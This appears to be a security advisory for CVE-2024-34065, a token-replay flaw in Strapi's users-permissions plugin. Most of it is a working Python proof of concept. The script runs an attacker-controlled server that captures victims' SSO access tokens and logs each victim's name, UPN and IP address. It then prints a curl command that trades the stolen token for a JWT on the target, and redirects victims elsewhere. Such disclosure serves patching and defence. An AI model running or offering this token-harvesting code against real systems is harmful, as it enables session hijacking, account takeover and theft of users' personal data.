Replay Attack Affecting @strapi/plugin-users-permissions package, versions <4.24.2

@strapi/plugin-users-permissions is a headless CMS

Affected versions of this package are vulnerable to Replay Attack due to sending session tokens as URL query parameters and using instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method. An attacker can use the SSO token and get a JWT token to be able to interact with the various API routes.

Notes:

This is a competition advisory for CVE-2024-34065

import base64
import json
import urllib.parse

from http.server import BaseHTTPRequestHandler, HTTPServer
from sys import argv


# Strapi URL.
TARGET = "target.com"

# URLs to which victims are automatically redirected.
REDIRECT_URL = [
    "strapi.io",
    "www.google.fr"
]
# URL used to generate a valid JWT token for authentication within the
# application.
GEN_JWT_URL = f"https://{TARGET}/api/auth/microsoft/callback"


# This function is used to generate a curl command which once executed, will
# give us a valid JWT connection token.
def generate_curl_command(token):
    command = f"curl '{GEN_JWT_URL}?access_token={token}'"
    return command


# We create a custom HTTP server to retrieve users' SSO tokens.
class CustomServer(BaseHTTPRequestHandler):

    # Here we override the default logging function to reduce verbosity.
    def log_message(self, format, *args):
        pass

    # This function automatically redirects a user to the page defined in the
    # global variable linked to the redirection.
    def _set_response(self):
        self.send_response(302)
        self.send_header("Location", REDIRECT_URL[0])
        self.end_headers()

    # If an SSO token is present, we parse it and log the result in STDOUT.
    def do_GET(self):
        # This condition checks whether a token is present in the URL.
        if str(self.path).find("access_token") != -1:
            # If this is the case, we recover the token.
            query = urllib.parse.urlparse(self.path).query
            query_components = dict(qc.split("=") for qc in query.split("&"))
            access_token = urllib.parse.unquote(query_components["access_token"])

            # In the token, which is a string in JWT format, we retrieve the
            # body part of the token.
            interesting_data = access_token.split(".")[1]

            # Patching base64 encoded data.
            interesting_data = interesting_data + "=" * (-len(interesting_data) % 4)

            # Parsing JSON.
            json_data = json.loads(base64.b64decode(interesting_data.encode()))
            family_name, given_name, ipaddr, upn = json_data["given_name"], json_data["family_name"], json_data["ipaddr"], json_data["upn"]

            print(f"[+] Token captured for {family_name} {given_name}, {upn} ({ipaddr}):\n{access_token}\n")
            print(f"[*] Run: \"{generate_curl_command(query_components['access_token'])}\" to get JWT token")

        self._set_response()
        self.wfile.write("Redirecting ...".encode("utf-8"))


def run(server_class=HTTPServer, handler_class=CustomServer, ip="0.0.0.0", port=8080):
    server_address = (ip, port)
    httpd = server_class(server_address, handler_class)

    print(f"Starting httpd ({ip}:{port}) ...")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass

    httpd.server_close()
    print("Stopping httpd ...")


if __name__ == "__main__":
    if len(argv) == 3:
        run(ip=argv[1], port=int(argv[2]))
    else:
        run()

• GitHub Commit